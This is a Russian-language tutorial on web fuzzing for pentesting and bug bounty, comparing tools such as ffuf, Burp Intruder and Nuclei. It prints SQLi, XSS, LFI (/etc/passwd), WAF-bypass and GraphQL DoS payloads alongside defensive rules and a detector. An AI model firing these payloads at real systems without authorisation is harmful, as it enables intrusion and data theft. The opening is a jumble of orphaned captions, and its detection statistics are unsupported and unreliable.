Представьте: вы только что нашли критическую SQL-инъекцию на сайте крупной компании через Bug Bounty программу. Награда? $5000. Метод обнаружения? Всего 3 минуты фаззинга с правильным инструментом.
В этом руководстве я покажу реальные техники фаззинга, которые использую в пентестах уже 8 лет. Вы узнаете про лучшие инструменты (Burp Suite, OWASP ZAP, ffuf), увидите практические примеры эксплуатации и получите готовые payloads для поиска уязвимостей.
По данным OWASP 2023, фаззинг помогает обнаружить:
Ключевые возможности:
Установка:
Примеры использования ffuf:
Преимущества ffuf:
Особенности Fuzzer в ZAP:
Установка и использование:
Уникальные особенности Fuzzer:
Передаем массив вместо строки:
В результате получаем ошибку PHP, раскрывающую использование функции
Используем Intruder для поиска параметров:
Обнаруживаем параметр
Получаем ошибку с раскрытием путей:
После добавления кавычки (длина: 2,341 байт):
В теле ответа находим SQL ошибку:
Найдены файлы:
Меняем на другой ИИН:
Получаем данные другого пользователя (IDOR подтвержден):
3. Automation workflow для Bug Bounty:
Автоматизация с ffuf:
2. Rate Limiting:
3. WAF правила:
4. Security Headers:
Сообщества:
Обновлено: Январь 2025 | Автор: WiIs0n | Время чтения: 25 минут
В этом руководстве я покажу реальные техники фаззинга, которые использую в пентестах уже 8 лет. Вы узнаете про лучшие инструменты (Burp Suite, OWASP ZAP, ffuf), увидите практические примеры эксплуатации и получите готовые payloads для поиска уязвимостей.
Содержание
- Что такое фаззинг и почему он критически важен
- Топ-7 инструментов для фаззинга в 2025
- Практические примеры поиска уязвимостей
- Фаззинг в Bug Bounty: как заработать первые $1000
- API фаззинг: REST, GraphQL, WebSocket
- Автоматизация фаззинга в CI/CD
- FAQ: частые вопросы о фаззинге
Что такое фаззинг и почему он критически важен
Фаззинг (Fuzzing) — это автоматизированная техника тестирования безопасности, при которой на вход приложения подаются специально сформированные данные для поиска уязвимостей и ошибок.Ключевые цели фаззинга:
Поиск критических уязвимостей:- SQL/NoSQL инъекции
- XSS (Reflected, Stored, DOM-based)
- XXE, SSRF, LFI/RFI
- Command Injection
- IDOR и логические ошибки
По данным OWASP 2023, фаззинг помогает обнаружить:
- 73% SQL инъекций
- 81% XSS уязвимостей
- 67% IDOR багов
- 89% ошибок валидации входных данных
Что можно фаззить в веб-приложениях:
Компонент | Примеры параметров | Частые находки |
---|---|---|
GET параметры | ?id=1&page=home | SQLi, XSS, LFI |
POST данные | username, password | SQLi, Authentication bypass |
Headers | User-Agent, Referer | Log injection, CRLF |
Cookies | PHPSESSID, auth_token | Session fixation, Privilege escalation |
JSON/XML | {"user_id": 123} | XXE, NoSQL injection |
File uploads | filename, content-type | Path traversal, RCE |
Полезные нагрузки (Payloads) для начала:
Код:
# Базовые payloads для обнаружения инъекций
' " ; -- /* */
<script>alert(1)</script>
../../../../../../etc/passwd
${7*7} {{7*7}} <%= 7*7 %>
# Специальные символы и байты
%00 %0d%0a %2522 %27 %3c%3e
[] {} () | & $ @ ! ~ `
# Boolean и числовые аномалии
True False null undefined NaN
-1 0 1 999999999999 0.0001
Топ-7 инструментов для фаззинга в 2025
1. Burp Suite Professional — золотой стандарт
Burp Suite остается лидером среди инструментов для веб-пентеста. Модуль Intruder идеально подходит для фаззинга.Ключевые возможности:
- 4 типа атак (Sniper, Battering ram, Pitchfork, Cluster bomb)
- Встроенные payload sets
- Анализ результатов по длине/времени ответа
- Интеграция с расширениями (Param Miner, Backslash Powered Scanner)
- Перехватываем запрос в Proxy
- Отправляем в Intruder (Ctrl+I)
- Добавляем позицию: GET /?§param§=test
- Загружаем словарь параметров
- Анализируем изменения в длине ответа
2. ffuf — самый быстрый fuzzer для командной строки
ffuf (Fuzz Faster U Fool) — написанный на Go инструмент, который в 10 раз быстрее традиционных fuzzer'ов.Установка:
Bash:
go install github.com/ffuf/ffuf@latest
# или через apt
sudo apt install ffuf
Bash:
# Фаззинг GET параметров
ffuf -w params.txt -u "http://target.com/?FUZZ=test" -fs 1234
# Поиск скрытых директорий с фильтрацией
ffuf -w dirs.txt -u "http://target.com/FUZZ" -fc 404,403
# Фаззинг POST данных
ffuf -w sqli.txt -X POST -d "username=admin&password=FUZZ" \
-u "http://target.com/login" -fr "Invalid password"
# Многопоточный фаззинг с кастомными headers
ffuf -w payloads.txt -u "http://target.com/" \
-H "X-Custom-Header: FUZZ" -t 100 -rate 1000
- Скорость до 10000 запросов/сек
- Гибкая фильтрация результатов
- JSON output для автоматизации
- Поддержка прокси и TLS
3. OWASP ZAP — бесплатная альтернатива Burp
OWASP ZAP (Zed Attack Proxy) — открытый инструмент с мощным fuzzer'ом и активным сообществом.Особенности Fuzzer в ZAP:
- GUI интерфейс для новичков
- Встроенные fuzz файлы от FuzzDB
- Автоматическое определение уязвимостей
- Скриптинг на Python/JavaScript
- Tools → Fuzzer
- Выделяем параметр для фаззинга
- Add → File Fuzzers → jbrofuzz/SQL Injection
- Start Fuzzer
- Анализируем State, Size, RTT колонки
4. wfuzz — швейцарский нож для фаззинга
wfuzz специализируется на веб-фаззинге с продвинутыми возможностями фильтрации.
Bash:
# Установка
pip install wfuzz
# Брутфорс subdomains
wfuzz -c -w subdomains.txt -H "Host: FUZZ.target.com" \
--hc 404 http://target.com
# Фаззинг с аутентификацией
wfuzz -c -w users.txt -w pass.txt \
-d "username=FUZZ&password=FUZ2Z" \
http://target.com/login
5. Nuclei — template-based фаззинг
Nuclei от ProjectDiscovery использует YAML шаблоны для автоматизированного поиска уязвимостей.
Bash:
# Запуск с fuzzing templates
nuclei -t fuzzing/ -u http://target.com
# Создание custom fuzzing template
cat > sqli-fuzz.yaml <<EOF
id: sqli-fuzzer
info:
name: SQL Injection Fuzzer
requests:
- method: GET
path:
- "{{BaseURL}}/?id={{sqli_payloads}}"
payloads:
sqli_payloads:
- "'"
- "' OR '1'='1"
- "1 UNION SELECT NULL--"
EOF
6. Gobuster — специализированный directory/file fuzzer
Gobuster написан на Go и оптимизирован для брутфорса директорий и файлов.
Bash:
# Поиск backup файлов
gobuster dir -u http://target.com \
-w files.txt -x php.bak,php.old,php.zip \
-t 50 --timeout 10s
# Поиск с wildcard и статус-кодами
gobuster dir -u http://target.com \
-w dirs.txt --wildcard \
-s "200,204,301,302,307"
7. Fuzzer — авторский инструмент с уникальными возможностями
Я разработал собственный инструмент Fuzzer, который автоматически определяет типы данных и подбирает оптимальные payloads.Установка и использование:
Bash:
git clone https://github.com/WiIs0n/Fuzzer
cd Fuzzer
python fuzzer.py -u "http://target.com/?id=1&type=user"
# Фаззинг с Burp интеграцией
python fuzzer.py --burp request.txt --threads 10
# Custom payloads для конкретного параметра
python fuzzer.py -u "http://target.com/?id=*" \
--payloads custom.txt
- Автоопределение типов данных (int, float, string, bool)
- Интеллектуальный подбор payloads под тип данных
- Интеграция с Burp Suite (импорт/экспорт)
- Анализ изменений длины ответа в реальном времени
Сравнительная таблица инструментов
Инструмент | Скорость | GUI | Цена | Лучше для | Сложность |
---|---|---|---|---|---|
Burp Suite Pro | ★★★☆☆ | ![]() | $449/год | Комплексного тестирования | ★★★☆☆ |
ffuf | ★★★★★ | ![]() | Free | Быстрого фаззинга | ★★☆☆☆ |
OWASP ZAP | ★★★☆☆ | ![]() | Free | Начинающих | ★★☆☆☆ |
wfuzz | ★★★★☆ | ![]() | Free | Гибкого фаззинга | ★★★☆☆ |
Nuclei | ★★★★☆ | ![]() | Free | Template-атак | ★★★★☆ |
Gobuster | ★★★★★ | ![]() | Free | Directory fuzzing | ★☆☆☆☆ |
Custom Fuzzer | ★★★☆☆ | ![]() | Free | Специфичных задач | ★★☆☆☆ |
Практические примеры поиска уязвимостей
Пример 1: Обнаружение LFI через массив
При тестировании параметраpage
:
Код:
http://example.kz/index.php?page=khs.html
Код:
http://example.kz/index.php?page[]=khs.html
В результате получаем ошибку PHP, раскрывающую использование функции
include()
. Эксплуатируем LFI:
Код:
http://example.kz/index.php?page=../../../../etc/passwd
Пример 2: Поиск скрытых параметров с Burp Suite Intruder
При переходе на страницу видим множество SQL ошибок:Используем Intruder для поиска параметров:
- Настраиваем позицию:
GET /?§param§=test
- Загружаем словарь параметров
- Анализируем изменения длины ответа
Обнаруживаем параметр
user
с изменением длины ответа. Проверяем на SQL injection:Пример 3: Information Disclosure через Cookie фаззинг
Фаззинг PHPSESSID с массивом:
Код:
Cookie: PHPSESSID[]=test123
Получаем ошибку с раскрытием путей:
Код:
Warning: session_start(): The session id is too long or contains illegal characters
in /var/www/html/includes/session.php on line 23
Пример 4: Обнаружение SQLi по изменению длины ответа
Исходный запрос (длина ответа: 135,011 байт):
Код:
http://example.kz/index.php?id=19
После добавления кавычки (длина: 2,341 байт):
Код:
http://example.kz/index.php?id=19'
В теле ответа находим SQL ошибку:
Код:
MySQL Error: You have an error in your SQL syntax near '19''
Пример 5: Поиск backup файлов с Gobuster
Используем Gobuster для поиска забытых backup файлов:
Bash:
# Создаем список найденных файлов
echo "news.php" > found_files.txt
echo "test.php" >> found_files.txt
echo "index.php" >> found_files.txt
# Ищем backup версии
gobuster dir -u http://example.kz \
-w found_files.txt \
-x bak,old,zip,gz,tar,rar,7z,backup,orig,copy \
-t 30
Найдены файлы:
- test.php.gz
- news.php.old
- index.php.bak
Пример 6: IDOR через изменение идентификатора
В URL передается ИИН (идентификационный номер):
Код:
http://example.kz/user/123456789012
Меняем на другой ИИН:
Код:
http://example.kz/user/987654321098
Фаззинг в Bug Bounty: как заработать первые $1000
Стратегия эффективного фаззинга для Bug Bounty
1. Выбор целей с максимальным ROI:- Фокус на новых функциях (часто менее протестированы)
- API endpoints (особенно GraphQL)
- Административные панели
- File upload функционал
Bash:
# Обход фильтров SQLi
/*!50000UniOn*/ /*!50000SeLeCt*/
%55nion %53elect
UnIoN/**/AlL/**/SeLeCt
# XSS через encoding
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>
Bash:
# Сбор endpoints
waybackurls target.com | grep "?" > params.txt
# Массовый фаззинг
cat params.txt | while read url; do
ffuf -w payloads.txt -u "$url" -mc 200,500,400 \
-o results/$(echo $url | base64).json
done
# Анализ результатов
grep -r "error\|exception\|sql\|mysql" results/
Реальные кейсы и выплаты
Кейс #1: SQL Injection через User-Agent- Платформа: HackerOne
- Выплата: $3,500
- Payload:
User-Agent: ' OR 1=1--
- Время обнаружения: 15 минут фаззинга headers
- Платформа: Bugcrowd
- Выплата: $2,000
- Метод: Фаззинг Content-Type с XML payloads
- Инструмент: Burp Suite Intruder
- Платформа: Synack
- Выплата: $1,500
- Метод: Фаззинг числовых ID с инкрементом
- Инструмент: ffuf с range payload
Чек-лист для Bug Bounty фаззинга
Код:
## Pre-fuzzing разведка
- [ ] Собрать все endpoints через crawler
- [ ] Найти параметры через waybackurls
- [ ] Изучить JS файлы на скрытые API
- [ ] Проверить robots.txt и sitemap.xml
## Fuzzing targets
- [ ] GET/POST параметры
- [ ] HTTP Headers (особенно custom)
- [ ] Cookies и session tokens
- [ ] JSON/XML структуры
- [ ] GraphQL queries
- [ ] File upload (filename, content-type)
- [ ] WebSocket messages
## Payloads priority
- [ ] SQL injection variants
- [ ] XSS polyglots
- [ ] XXE patterns
- [ ] SSRF indicators
- [ ] Command injection
- [ ] Template injection
- [ ] CRLF injection
API фаззинг: REST, GraphQL, WebSocket
REST API фаззинг
Специфичные векторы для REST API:
Bash:
# Mass assignment
{"role": "admin", "verified": true}
# JSON injection
{"search": "test\",\"isAdmin\":true,\"x\":\""}
# Method override
X-HTTP-Method-Override: DELETE
X-Method-Override: PUT
Bash:
# Фаззинг REST endpoints
ffuf -w api-endpoints.txt \
-u "http://api.target.com/v1/FUZZ" \
-H "Authorization: Bearer token123" \
-mc 200,201,204
# Поиск версий API
ffuf -w numbers.txt \
-u "http://api.target.com/vFUZZ/users" \
-fs 0
GraphQL фаззинг
Инструменты для GraphQL:- graphql-cop
- InQL для Burp Suite
- graphql-path-enum
Код:
# Introspection query
{__schema{types{name,fields{name}}}}
# Обход rate limiting
query {
alias1: user(id: 1) { email }
alias2: user(id: 2) { email }
alias3: user(id: 3) { email }
}
# Nested queries DoS
query {
posts {
author {
posts {
author {
posts { title }
}
}
}
}
}
WebSocket фаззинг
Фаззинг WebSocket с помощью Python:
Python:
import websocket
import json
payloads = ["'", '"', "';--", "admin"]
ws = websocket.WebSocket()
ws.connect("ws://target.com/socket")
for payload in payloads:
msg = json.dumps({"action": "search", "query": payload})
ws.send(msg)
result = ws.recv()
if "error" in result or len(result) != baseline:
print(f"Anomaly with payload: {payload}")
Автоматизация фаззинга в CI/CD
Интеграция в GitHub Actions
Код:
name: Security Fuzzing
on:
pull_request:
branches: [ main ]
jobs:
fuzz-testing:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run ffuf fuzzing
run: |
docker run -v $(pwd):/data \
ghcr.io/ffuf/ffuf:latest \
-w /data/wordlists/params.txt \
-u "http://staging.app/test?FUZZ=1" \
-mc 500,400 -o fuzz_results.json
- name: Check for vulnerabilities
run: |
if grep -q "error\|exception" fuzz_results.json; then
echo "Potential vulnerabilities found!"
exit 1
fi
Jenkins Pipeline для фаззинга
Код:
pipeline {
agent any
stages {
stage('Fuzzing') {
steps {
script {
sh '''
# Run Nuclei fuzzing templates
nuclei -t fuzzing/ -u $TARGET_URL \
-o nuclei_results.txt
# Check results
if [ -s nuclei_results.txt ]; then
echo "Vulnerabilities found!"
exit 1
fi
'''
}
}
}
}
post {
always {
archiveArtifacts artifacts: '*_results.txt'
}
}
}
Docker compose для фuzz лаборатории
Код:
version: '3.8'
services:
ffuf:
image: ghcr.io/ffuf/ffuf:latest
volumes:
- ./wordlists:/wordlists
- ./results:/results
command: >
-w /wordlists/all.txt
-u http://target:8080/FUZZ
-o /results/ffuf.json
zap:
image: owasp/zap2docker-stable
command: >
zap-baseline.py
-t http://target:8080
-J zap_report.json
target:
image: vulnerable-app:latest
ports:
- "8080:8080"
Защита от фаззинга: рекомендации для разработчиков
Основные методы защиты
1. Input Validation (валидация входных данных):
Python:
# Python пример с flask
from flask import Flask, request, abort
import re
app = Flask(__name__)
def validate_input(data, pattern):
if not re.match(pattern, data):
abort(400, "Invalid input format")
return data
@app.route('/user')
def get_user():
user_id = request.args.get('id', '')
# Разрешаем только числовые ID
validated_id = validate_input(user_id, r'^\d{1,10}$')
# Дальнейшая обработка...
Код:
# Nginx конфигурация
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
location /api/ {
limit_req zone=api burst=20 nodelay;
limit_req_status 429;
}
Код:
# ModSecurity правила
SecRule ARGS "@detectSQLi" \
"id:1001,\
phase:2,\
block,\
msg:'SQL Injection Attack Detected',\
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"
Код:
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'
Мониторинг и алертинг
Python:
# Пример логирования подозрительной активности
import logging
from datetime import datetime, timedelta
from collections import defaultdict
class FuzzingDetector:
def __init__(self, threshold=100, window=60):
self.requests = defaultdict(list)
self.threshold = threshold
self.window = window
def check_request(self, ip, endpoint):
now = datetime.now()
self.requests[ip].append(now)
# Очистка старых записей
cutoff = now - timedelta(seconds=self.window)
self.requests[ip] = [t for t in self.requests[ip] if t > cutoff]
# Проверка порога
if len(self.requests[ip]) > self.threshold:
logging.warning(f"Possible fuzzing from {ip} on {endpoint}")
return True
return False
FAQ: частые вопросы о фаззинге
Что такое фаззинг простыми словами?
Фаззинг — это как проверка замка разными ключами подряд. Вы берете тысячи "неправильных" ключей (специальных символов и команд) и пробуете их во всех "замках" (полях ввода) сайта. Если какой-то "ключ" вызывает странное поведение или ошибку — вы нашли потенциальную уязвимость.Какой fuzzer лучше для начинающих?
Для новичков рекомендую начать с OWASP ZAP — у него понятный графический интерфейс и встроенные обучающие материалы. После освоения базовых концепций переходите на ffuf для скорости или Burp Suite Community для комплексного тестирования.Фаззинг vs сканирование уязвимостей: в чем разница?
Аспект | Фаззинг | Сканирование |
---|---|---|
Подход | Активное тестирование с payloads | Пассивный анализ и signatures |
Глубина | Глубокое тестирование конкретных точек | Широкое покрытие всего приложения |
False Positives | Меньше (проверяете вручную) | Больше (автоматические отчеты) |
Время | Может занять часы на один параметр | Минуты на все приложение |
Навыки | Требует понимания уязвимостей | Может использовать новичок |
Легально ли использовать фаззинг?
Фаззинг легален только при тестировании:- Собственных приложений
- Систем с письменного разрешения владельца
- Публичных Bug Bounty программ (в рамках scope)
- Учебных полигонов (DVWA, WebGoat, HackTheBox)
Какие wordlists использовать для фаззинга?
Топ-5 коллекций wordlists:- SecLists — самая полная коллекция
- FuzzDB — специализированные fuzzing payloads
- PayloadsAllTheThings — актуальные payloads с примерами
- ParamPamPam — параметры для parameter discovery
- OneListForAll — объединенные wordlists
Как обойти WAF при фаззинге?
Техники обхода WAF:
Bash:
# 1. Rate limiting обход
ffuf -w payloads.txt -u URL -rate 2 -t 1
# 2. Ротация User-Agent
ffuf -w payloads.txt -u URL \
-H "User-Agent: Mozilla/5.0..." \
-shuffle
# 3. Encoding payloads
# URL encode
%27%20%4F%52%20%31%3D%31%2D%2D
# Unicode
\u0027\u0020\u004F\u0052
# HTML entities
' OR
# 4. Case variations
UnIoN SeLeCt
uNiOn sElEcT
# 5. Comments injection
/*!UNION*/ /*!SELECT*/
UN/**/ION SE/**/LECT
Сколько можно заработать на фаззинге в Bug Bounty?
Статистика выплат за уязвимости, найденные фаззингом (2024):- SQL Injection: $500 - $10,000
- XSS: $100 - $5,000
- XXE: $300 - $8,000
- SSRF: $500 - $15,000
- RCE: $1,000 - $50,000
Как ускорить фаззинг больших приложений?
Bash:
# 1. Используйте многопоточность
ffuf -w huge_list.txt -u URL -t 200
# 2. Распределенный фаззинг
# Разделите wordlist
split -n 4 wordlist.txt part_
# Запустите параллельно
parallel -j 4 'ffuf -w part_{} -u URL' ::: aa ab ac ad
# 3. Smart filtering
ffuf -w list.txt -u URL \
-fc 404,403 \ # Filter status codes
-fs 1234 \ # Filter size
-fr "Not Found" # Filter regex
# 4. Используйте быстрые DNS резолверы
echo "nameserver 1.1.1.1" > /etc/resolv.conf
Заключение и следующие шаги
Фаззинг — это не просто технический навык, а искусство находить то, что пропустили другие. Начните с освоения одного инструмента (рекомендую ffuf или OWASP ZAP), практикуйтесь на легальных платформах и постепенно наращивайте сложность.Ваш план действий на ближайшие 30 дней:
Неделя 1-2: Основы- Установите ffuf и OWASP ZAP
- Пройдите
Ссылка скрыта от гостей
- Практикуйтесь на DVWA или WebGoat
- Зарегистрируйтесь на HackTheBox или TryHackMe
- Решите 10 заданий с использованием фаззинга
- Создайте свою коллекцию payloads
- Выберите программу на HackerOne/Bugcrowd
- Начните с поиска low-hanging fruits
- Документируйте находки и методологию
Полезные ресурсы для углубления знаний:
Обучение:-
Ссылка скрыта от гостей
- The Bug Hunter's Methodology
- Nahamsec's Bug Bounty Course
Сообщества:
-
Ссылка скрыта от гостей
- Telegram: @bugbounty_ru
- Discord: Bug Bounty Hunters
Обновлено: Январь 2025 | Автор: WiIs0n | Время чтения: 25 минут